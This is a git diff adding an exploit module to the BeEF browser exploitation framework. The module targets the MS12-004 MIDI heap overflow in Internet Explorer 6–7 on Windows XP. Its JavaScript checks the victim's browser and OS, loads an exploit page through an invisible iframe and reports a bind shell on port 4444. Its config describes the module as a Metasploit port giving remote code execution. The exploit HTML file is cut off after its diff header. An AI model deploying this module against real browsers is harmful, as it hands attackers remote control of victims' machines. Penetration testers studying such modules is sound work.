diff --git a/modules/exploits/local_host/ie_ms12_004_midi/command.js b/modules/exploits/local_host/ie_ms12_004_midi/command.js
new file mode 100644
index 000000000..01a2684fb
--- /dev/null
+++ b/modules/exploits/local_host/ie_ms12_004_midi/command.js
@@ -0,0 +1,34 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+ // check browser
+ if (beef.browser.isIE() != 1) {
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Target browser is not Internet Explorer");
+ return
+ }
+
+ // check OS
+ if (beef.os.isWindows() != 1) {
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Target OS is not Windows");
+ return
+ }
+
+ // exploit
+ var url = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/ie_ms12_004_midi.html';
+ var timeout = 15;
+ var ie_ms12_004_midi_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
+ ie_ms12_004_midi_iframe_<%= @command_id %>.setAttribute('src', url)
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Exploit attempted. Check for your shell on port 4444");
+
+ // cleanup
+ cleanup = function() {
+ document.body.removeChild(ie_ms12_004_midi_iframe_<%= @command_id %>);
+ }
+ setTimeout("cleanup()", timeout*1000);
+
+});
diff --git a/modules/exploits/local_host/ie_ms12_004_midi/config.yaml b/modules/exploits/local_host/ie_ms12_004_midi/config.yaml
new file mode 100644
index 000000000..5f3a45e9c
--- /dev/null
+++ b/modules/exploits/local_host/ie_ms12_004_midi/config.yaml
@@ -0,0 +1,26 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+###
+# This module is a quick, dirty and butchered port of 'modules/exploits/windows/browser/ms12_004_midi.rb'
+# from the Metasploit Framework project. Written originally by Shane Garrett, juan vazquez, and sinn3r
+# See: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ms12_004_midi.rb
+###
+beef:
+ module:
+ ie_ms12_004_midi:
+ enable: true
+ category: ["Exploits", "Local Host"]
+ name: "IE MS12-004 midiOutPlayNextPolyEvent Heap Overflow"
+ description: "This module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using the Windows Media Player ActiveX control.
This exploit has been ported directly from ms12_004_midi.rb from Metasploit, however it has limited target support (IE 6-7 on WinXP SP3 only) and limited payloads (bind shell on port 4444 only).
For more granular control over browser based Metasploit exploits using BeEF, refer to the Metasploit Integration for BeEF page on the wiki."
+ authors: ['Shane Garrett', 'juan vazquez', 'sinn3r']
+ target:
+ working:
+ IE:
+ min_ver: 6
+ max_ver: 7
+ not_working:
+ ALL:
+ os: ["ALL"]
diff --git a/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.html b/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.html
new file mode 100644
index 000000000..9a54fbaae
--- /dev/null
+++ b/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.html
@@ -0,0 +1,1122 @@
+
+